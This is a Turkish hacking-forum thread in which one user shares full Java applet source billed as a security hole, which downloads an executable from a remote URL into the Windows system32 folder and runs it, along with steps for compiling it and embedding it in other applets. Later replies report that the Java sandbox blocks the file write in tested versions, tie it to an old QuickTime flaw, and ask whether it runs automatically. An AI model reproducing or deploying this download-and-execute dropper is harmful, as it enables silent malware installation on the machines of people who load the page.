folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder Java İle Karşı Uzaktan Dosya İndirme>Çalıştırma(Güvenlik Açığı)



Java İle Karşı Uzaktan Dosya İndirme>Çalıştırma(Güvenlik Açığı)

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ZINDIK
    ZINDIK's avatar
    Kayıt Tarihi: 31/Mart/2007
    Erkek
    Aylardır var olan bir açık..
    Paylaşiyım dedim.
    Kodlar;
     
    import java.applet.Applet;
    import java.io.*;
    import java.net.URL;
    import java.net.URLConnection;

    public class Client extends Applet
    {

        public Client()
        {
        }

        public void start()
        {
            try
            {
                BufferedOutputStream bufferedoutputstream = null;
                Object obj = null;
                InputStream inputstream = null;
                URL url = new URL("http://www.aq.com/applet/Client.exe");
                bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\DosyaAdi.exe"));
                URLConnection urlconnection = url.openConnection();
                inputstream = urlconnection.getInputStream();
                byte abyte0[] = new byte[1024];
                int i;
                for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                    bufferedoutputstream.write(abyte0, 0, i);

                try
                {
                    if(inputstream != null)
                        inputstream.close();
                    if(bufferedoutputstream != null)
                        bufferedoutputstream.close();
                }
                catch(IOException ioexception) { }
                Runtime runtime = Runtime.getRuntime();
                try
                {
                    Process process = runtime.exec("C:\\windows\\system32\\DosyaAdi.exe");
                    process.waitFor();
                    BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    String s;
                    while((s = bufferedreader.readLine()) != null)
                        System.out.print(s);
                }
                catch(Exception exception1) { }
                try
                {
                    if(inputstream != null)
                        inputstream.close();
                    if(bufferedoutputstream != null)
                        bufferedoutputstream.close();
                }
                catch(IOException ioexception1) { }
            }
            catch(Exception e) { }
        }

        public static void main(String args[])
        {
            try
            {
                BufferedOutputStream bufferedoutputstream = null;
                Object obj = null;
                InputStream inputstream = null;
                URL url = new URL("http://www.aq.com/applet/DosyaAdi.exe");
                bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\DosyaAdi.exe"));
                URLConnection urlconnection = url.openConnection();
                inputstream = urlconnection.getInputStream();
                byte abyte0[] = new byte[1024];
                int i;
                for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                    bufferedoutputstream.write(abyte0, 0, i);

                try
                {
                    if(inputstream != null)
                        inputstream.close();
                    if(bufferedoutputstream != null)
                        bufferedoutputstream.close();
                }
                catch(IOException ioexception) { }
                Runtime runtime = Runtime.getRuntime();
                try
                {
                    Process process = runtime.exec("C:\\windows\\system32\\DosyaAdi.exe");
                    process.waitFor();
                    BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    String s;
                    while((s = bufferedreader.readLine()) != null)
                        System.out.print(s);
                }
                catch(Exception exception1) { }
            }
            catch(Exception e) { }
        }

        public void stop()
        {
        }
    }
     
     
    Kullanımı: Bunu derlemek için;
    1) http://www.eclipse.org/downloads/ Burdan, "Eclipse Classic" bunu indirip,(Alternatif program jCreator ) yükleyin.(Java sdk filayn yüklü olduğunu varsayıyoruz)
    2) Programda "Create New Java Project"ile yeni bir proje açıp,yeni bir "class" oluşturun.Kodları yapıştırın.
    2) Exe adreslerini değiştirin.
    4) Sonrası Allah kerim..
     
    Not: Eğer yapamazsanız, piyasadaki java appletlerini inceleyerek script içine monte ederek uygulayabilirsiniz...
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    kabuCe
    kabuCe's avatar
    Kayıt Tarihi: 19/Mayıs/2008
    Erkek

    Java'nın applet güvenliği çok sıkıdır, değil dosya yazmak, öyle heryerdeki dosyalar bile okunamaz.

    Bu açık ne zaman varmış çok merak ettim ( hangi versiyonda ? )

    Bu kodu 1.5.0_12 ve 1.6 update 3 ve 1.6 update 7'de denedim ve doğal olarak dosya yazma hatası aldım,

    (tabii hatanın ne olduğunu görebilmek için Exception'ların boş bırakılan satırlarını doldurdum)

    java.security.AccessControlException: access denied (java.io.FilePermission C:\windows\system32\DosyaAdi.exe write)

     Erişim engellendi kısaca, doğal olarak :)


    ...Orada Olmayan Adam...
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ZINDIK
    ZINDIK's avatar
    Kayıt Tarihi: 31/Mart/2007
    Erkek

    %

  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    kabuCe
    kabuCe's avatar
    Kayıt Tarihi: 19/Mayıs/2008
    Erkek

    O isimle arama yaptığımda , benzer bir sonuç buldum. Sistemde Quictime yüklü olduğu zaman çalışıyormuş. MacOS ve Windows'ları etkiliyormuş,

    1 mayıs 2007 de bu açık için quictime güncelleme yayınlamış. 

     

    Güncel bir açık olsa çok sevinecektim ama buna da şükür .) ilham geldi, javada açık arayacağım :)


    ...Orada Olmayan Adam...
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Sorpix
    Sorpix's avatar
    Kayıt Tarihi: 05/Nisan/2007
    Erkek

    kabuCe bunu yazdı:
    -----------------------------

    O isimle arama yaptığımda , benzer bir sonuç buldum. Sistemde Quictime yüklü olduğu zaman çalışıyormuş. MacOS ve Windows'ları etkiliyormuş,

    1 mayıs 2007 de bu açık için quictime güncelleme yayınlamış. 

     

    Güncel bir açık olsa çok sevinecektim ama buna da şükür .) ilham geldi, javada açık arayacağım :)


    -----------------------------

     

     Ara Hocam ara...

    senden ogrenecem diye omrumu yedi java...


    Falan Filan...
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Metanet
    Metanet's avatar
    Kayıt Tarihi: 07/Temmuz/2007
    Erkek
    html tro ilede halledebilirsin boyle kasmana gerek yok kendini..

    Burda cok felsefi bir yazi yazdigini dusun , ne sen yorul ne de ben yorulayım. İş yapılmayacaklar listem : hipokondriyak
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    crackerlive
    crackerlive's avatar
    Kayıt Tarihi: 30/Mart/2007
    Erkek
    Peki indirdikten sonra kendisi otomatik çalıştırıyormu arkadaşlar?
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Fikret
    Fikret's avatar
    Kayıt Tarihi: 01/Ekim/2007
    Erkek

    crackerlive bunu yazdı:
    -----------------------------
    Peki indirdikten sonra kendisi otomatik çalıştırıyormu arkadaşlar?
    -----------------------------

    bak arkada$ ne yazmı$. 

    --------

    O isimle arama yaptığımda , benzer bir sonuç buldum. Sistemde Quictime yüklü olduğu zaman çalışıyormuş. MacOS ve Windows'ları etkiliyormuş,

    1 mayıs 2007 de bu açık için quictime güncelleme yayınlamış. 

    Güncel bir açık olsa çok sevinecektim ama buna da şükür .) ilham geldi, javada açık arayacağım :)

    --------


    screw you guys! i"m goin" hoooome!
Toplam Hit: 1964 Toplam Mesaj: 8